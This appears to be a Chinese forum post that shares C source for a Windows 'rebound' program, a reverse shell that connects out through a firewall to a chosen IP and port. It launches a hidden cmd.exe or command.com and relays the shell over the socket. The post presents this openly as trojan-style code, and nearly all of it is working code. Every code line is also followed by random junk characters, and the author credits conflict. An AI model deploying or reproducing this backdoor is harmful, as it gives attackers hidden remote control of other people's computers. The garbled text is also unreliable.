这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JE*?O*&|Q
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/* ============================== =4&"fZ"v
Rebound port in Windows NT 5$X 8|Ve
By wind,2006/7 qLKL*m
===============================*/ [ :Sl~
#include -lq`EB+
#include =)N6R
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#pragma comment(lib,"wsock32.lib") EaH/Gg3
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void OutputShell(); G
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SOCKET sClient; p1&=D%/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?[WUix;
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void main(int argc,char **argv) 3Q )"
{ 1:./f|m
WSADATA stWsaData;
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int nRet; [;'$y:L=g
SOCKADDR_IN stSaiClient,stSaiServer; &g0r#K
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if(argc != 3) AP4s_X+=
{ I).eQ8:
printf("Useage:\n\rRebound DestIP DestPort\n"); e ^`La*n
return; uaCI2I
} kKDf%=
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WSAStartup(MAKEWORD(2,2),&stWsaData); Y;dqrA>@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rg]z
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stSaiClient.sin_family = AF_INET; XB:E<I'q!3
stSaiClient.sin_port = htons(0); ]!/R tt
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0U#m7j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xf|C{XV@H
{ &0d5".|s
printf("Bind Socket Failed!\n"); qzSm]l?z
return; fj9&J[
} ,XN4Iy#BZl
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stSaiServer.sin_family = AF_INET; N%=,S?b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a\B?J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,.;{J|4P
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i.FdZN{
{ y"K[#&,0
printf("Connect Error!"); 9tmnx')_
return; *w6F0>u
} ;:Tb_4Hr
OutputShell(); i@%a!].I
} f>Tn#OW
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void OutputShell() BXytAz3
{ rf!i?vAe
char szBuff[1024]; lcfs
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SECURITY_ATTRIBUTES stSecurityAttributes; 3 [O+wVv
OSVERSIONINFO stOsversionInfo; v9#F\ F/
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r*FAUb`bG
STARTUPINFO stStartupInfo; DD[<J:6
char *szShell; Q Vl"l'e8
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; xF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X3~@U7DU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Dh<}j3]
stSecurityAttributes.lpSecurityDescriptor = 0; UunZ/A$]m
stSecurityAttributes.bInheritHandle = TRUE; /8 "rCh|m-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =t.T9'{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CWb*bw0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7IrH(~Fo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &WS'Me
stStartupInfo.wShowWindow = SW_HIDE; D&DbxTi
stStartupInfo.hStdInput = hReadPipe; J2$,'(!(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !';;q
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GetVersionEx(&stOsversionInfo); ghTue*A
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switch(stOsversionInfo.dwPlatformId) EQ>@K-R
{ nUCOHVI7
case 1: Ian+0
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szShell = "command.com"; J"XZnb)E=
break; WM
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default: E=]|v+#~
szShell = "cmd.exe"; h&rZR`g
break; B'b OK`p
} vX&W;&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }q,d JE
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send(sClient,szMsg,77,0); -Q|]C{r
while(1) cNye@}$lu
{ bKEiS8x
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /0XmU@B
if(lBytesRead) /<"ok;Pu7
{ N686~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); msQ?V&+<
send(sClient,szBuff,lBytesRead,0); d-z[=1m
} bL5u;iy)
else {HFx+<JG
{ BKYyc6iE
lBytesRead=recv(sClient,szBuff,1024,0); Ko|gH]B'
if(lBytesRead<=0) break; ZX'3qW^D
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bV+2U
} e`Co ='
} L-%'jR
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return; TIK'A<
}